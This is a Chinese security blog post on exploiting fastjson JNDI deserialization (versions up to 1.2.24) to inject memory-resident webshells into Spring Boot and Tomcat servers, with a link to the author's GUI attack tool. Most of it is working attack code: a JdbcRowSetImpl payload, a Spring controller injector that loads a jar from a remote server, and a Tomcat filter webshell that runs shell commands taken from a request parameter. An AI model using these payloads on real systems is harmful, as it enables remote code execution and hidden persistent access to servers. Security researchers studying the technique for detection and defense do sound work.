炒冷饭系列之第一篇--某sonJndi回显利用+GUI工具
0x00 前言
(本文章首发于先知社区https://xz.aliyun.com/t/9741)
最近听到一些小伙伴有fastjson注入内存马进行权限维持的需求,于是结合前阵子回显的系列以及内存马的文章,写了一个方便fastjson利用的一个工具。虽然在1.2.48之前已存在不出网就能利用的回显,显得本次利用很多余,但还是想把自己的调试思路写出来。此次调试虽然调试成功了,但很多代码细节还有些疑问,师傅们若是发现有错误的点请指出,本人将学习并纠正错误。
0x01 fastjson jndi利用
这里就拿最简单的fastjson<=1.2.24举例子,最简单的poc为
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://ip:port/xxx",
"autoCommit":true
}
SpringBoot 服务端代码为
import com.alibaba.fastjson.JSONObject;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class Test {
public Test() {
}
@RequestMapping({"/test"})
public String test(@RequestBody String json) throws IllegalAccessException, InvocationTargetException, InstantiationException, MalformedURLException, ClassNotFoundException, NoSuchMethodException {
JSONObject.parseObject(json);
return "213";
}
}
Tomcat 服务端代码为
//web.xml
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>HelloTomcatServlet</servlet-name>
<servlet-class>org.TestTomcatServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>HelloTomcatServlet</servlet-name>
<url-pattern>/tomcat</url-pattern>
</servlet-mapping>
</web-app>
以及
import com.alibaba.fastjson.JSONObject;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.io.IOUtils;
public class TestTomcatServlet extends HttpServlet {
public TestTomcatServlet() {
}
public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws IOException {
InputStream inputStream = httpServletRequest.getInputStream();
String content = IOUtils.toString(inputStream, "utf-8");
System.out.println(content);
JSONObject.parse(content);
OutputStream outputStream = httpServletResponse.getOutputStream();
outputStream.write("test".getBytes());
}
}
常见的利用为通过marshalsec,开启一个ldap或者rmi的服务,绑定http服务重定向至我们的http服务器,下载class文件进行利用,一般为反弹shell至公网的服务器。这里不对此利用再做进一步复现,网上资料比较多。
此次利用目的主要在扩展class文件利用上写入一个内存shell从而达到web权限维持和web回显的目的。
0x02 内存马
1、Sprinboot内存马
Springboot主要参考基于内存 Webshell 的无文件攻击技术研究该文章。
主要步骤为:获得当前代码运行时的上下文环境,并动态注册controller。
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.ConsumesRequestCondition;
import org.springframework.web.servlet.mvc.condition.HeadersRequestCondition;
import org.springframework.web.servlet.mvc.condition.ParamsRequestCondition;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.ProducesRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
public class SpringbootEcho {
public SpringbootEcho() throws ClassNotFoundException, IllegalAccessException, InstantiationException, MalformedURLException, NoSuchMethodException {
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping r = (RequestMappingHandlerMapping)context.getBean(RequestMappingHandlerMapping.class);
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(this.getJarUrl())});
Class cls = urlClassLoader.loadClass("SSOLogin");
Method method = cls.getDeclaredMethods()[0];
PatternsRequestCondition url = new PatternsRequestCondition(new String[]{"/DriedMangoCmd"});
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(new RequestMethod[0]);
RequestMappingInfo info = new RequestMappingInfo(url, ms, (ParamsRequestCondition)null, (HeadersRequestCondition)null, (ConsumesRequestCondition)null, (ProducesRequestCondition)null, (RequestCondition)null);
r.registerMapping(info, cls.newInstance(), method);
}
public String getJarUrl() {
return "http://127.0.0.1:10011/a.jar";
}
}
主要参考了文章当中的方法四通过RequestContextHolder.currentRequestAttributes().getAttribute获得context,再通过context进行注册,这里注册Controller必须要传入对象,因此通过URLClassLoader进行远程加载jar,在通过loadClass加载指定的类,最后通过newInstance实例化,传入到registerMapping当中。
其中getJarUrl中的a.jar主要内容为(这里可以修改为自己想要注入的马或者正向代理之类的)
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
public class SSOLogin {
public void login(HttpServletRequest request, HttpServletResponse response){
try {
String arg0 = request.getParameter("code");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){
}
}
}
2、Tomcat 内存马
tomcat内存马主要参考Filter型内存马,其中代码主要参Tomcat 源代码调试笔记 - 看不见的 Shell和三梦师傅的基于tomcat的内存 Webshell 无文件攻击技术,经过多次反复调试,最终代码如下
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.EnumSet;
import java.util.Scanner;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.FilterRegistration.Dynamic;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import org.apache.tomcat.util.descriptor.web.FilterMap;
public class TomcatEcho {
public TomcatEcho() {
try {
Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest");
Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse");
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & -17);
modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & -17);
modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & -17);
WRAP_SAME_OBJECT.setAccessible(true);
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
if (!WRAP_SAME_OBJECT.getBoolean((Object)null)) {
WRAP_SAME_OBJECT.setBoolean((Object)null, true);
lastServicedRequest.set((Object)null, new ThreadLocal());
lastServicedResponse.set((Object)null, new ThreadLocal());
} else {
ThreadLocal<ServletRequest> threadLocalRequest = (ThreadLocal)lastServicedRequest.get((Object)null);
ServletRequest request = (ServletRequest)threadLocalRequest.get();
try {
ServletContext servletContext = request.getServletContext();
if (servletContext.getFilterRegistration("webShell") == null) {
Filter WebShellClass = new Filter() {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd.exe", "/c", cmd};
} else {
cmds = new String[]{"sh", "-c", cmd};
}
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = (new Scanner(in)).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
Writer writer = response.getWriter();
writer.write(output);
writer.flush();
writer.close();
}
chain.doFilter(request, response);
}
public void destroy() {
}
};
Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)contextField.get(servletContext);
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
StandardContext standardContext = (StandardContext)contextField.get(applicationContext);
Field stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
Dynamic filterRegistration = servletContext.addFilter("webShell", WebShellClass);
filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{"/*"});
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, (Object[])null);
FilterMap[] filterMaps = standardContext.findFilterMaps();
for(int i = 0; i < filterMaps.length; ++i) {
if (filterMaps[i].getFilterName().equalsIgnoreCase("webShell")) {
FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
stateField.set(standardContext, LifecycleState.STARTED);
}
} catch (Exception var19) {
var19.printStackTrace();
}
}
} catch (Exception var20) {
var20.printStackTrace();
}
}
}
通过获取request和response对象进行回显,主要步骤为,获取request对象的ServerContext,再去注册filter,而filter中的逻辑则为我们的webshell。
0x03 fastjson+内存马分析与调试
在这两者结合利用的过程中,遇到了一些棘手的问题:
(1)首先是Springboot回显利用远程jar当中的ip地址需要经常指向现实中的公网地址,因此每一次利用之前都需要重新编译一次,不利于自动化利用。最后通过学习javassist发现可以进行动态修改且不需要重新编译。
(2)第二个是由于之前网上其他师傅的poc是直接在内部定一个一个内部类,导致每次ldap请求完成后都报错说缺少class文件,调了很久才发现可以通过Filter WebShellClass = new Filter()去动态创建一个类并实例化(我的java基础太不扎实了,难受)。
0x04 工具编写与使用
再选择启一个Ldap服务端口,若对方为springboot容器则payload为SpringbootEcho,若为Tomcat容器则启用TomcatEcho
选择fastjson jndi
选择fastjson jndi,填入响应的ldap端口
工具地址:
https://github.com/MrMeizhi/DriedMango
引用
http://wjlshare.com/archives/1529#0x06
https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw
https://www.anquanke.com/post/id/198886
https://github.com/mbechler/marshalsec
https://xz.aliyun.com/t/7348
https://xz.aliyun.com/t/7535